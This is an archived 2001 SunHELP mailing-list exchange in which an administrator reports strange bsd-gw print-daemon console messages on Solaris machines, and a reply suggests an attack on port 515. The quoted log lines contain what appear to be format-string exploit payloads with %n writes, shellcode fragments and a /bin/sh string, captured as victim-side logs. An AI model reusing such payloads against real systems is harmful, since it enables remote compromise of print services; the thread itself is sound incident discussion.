[SunHELP] bsd-gw[910]: Invalid protocol request (66)

[Fletcher, Joe]

I believe this is a hack attempt aimed at port 515. There was a post
relating to this on sunmanagers this morning if I recall correctly. I'll see
if I've still got the post.

-----Original Message-----
From: bruce beaudoin [mailto:bruce at passcal.passcal.nmt.edu]
Sent: 4 April 2001 17:55
To: sunhelp at sunhelp.org
Subject: [SunHELP] bsd-gw[910]: Invalid protocol request (66)


Hi, several hundred of these console messages (per computer) showed up 
on about half (7)
of our Solaris2.6 & 2.7 machines last night. Not all were at the same time
and it appears that the string echoed changes for each instance.

Any ideas.
Thanks,
Bruce Beaudoin

Apr  4 00:27:11 pic bsd-gw[9108]: Invalid protocol request (66): 
BBBXXXXXXXXXXXXXXXXXX%.72u%300$n%.106u%301$nsecurit%302$n%.1
92u%303$n111F1f1C]C]KMM1ECf]fE'MEEEMCCC1?A^u1FEMU/bin/sh
Apr  4 00:27:11 pic bsd-gw[9109]: Invalid protocol request (66): 
BBBXXXXXXXXXXXXXXXXXX%.168u%300$nsecurity.%301$nsecurity%302
$n%.192u%303$n111F1f1C]C]KMM1ECf]fE'MEEEMCCC1?A^u1FEMU/bin/sh

_______________________________________________
SunHELP maillist  -  SunHELP at sunhelp.org
http://www.sunhelp.org/mailman/listinfo/sunhelp


MetaPack
The Lightwell 
12/16 Laystall Street 
Clerkenwell 
London EC1R 4PF 
Tel: +44 (0) 20 7843 6720 
Fax: +44 (0) 20 7843 6721
--------------------------------------------------------------------------
This email is confidential and proprietary; 
all information contained in it must be used only by the addressee in
accordance with MetaPack's terms of business and non-disclosure agreement. 
Disclosure, copying, and distribution to, or use by, anyone other than the
intended recipient is strictly prohibited and may be unlawful.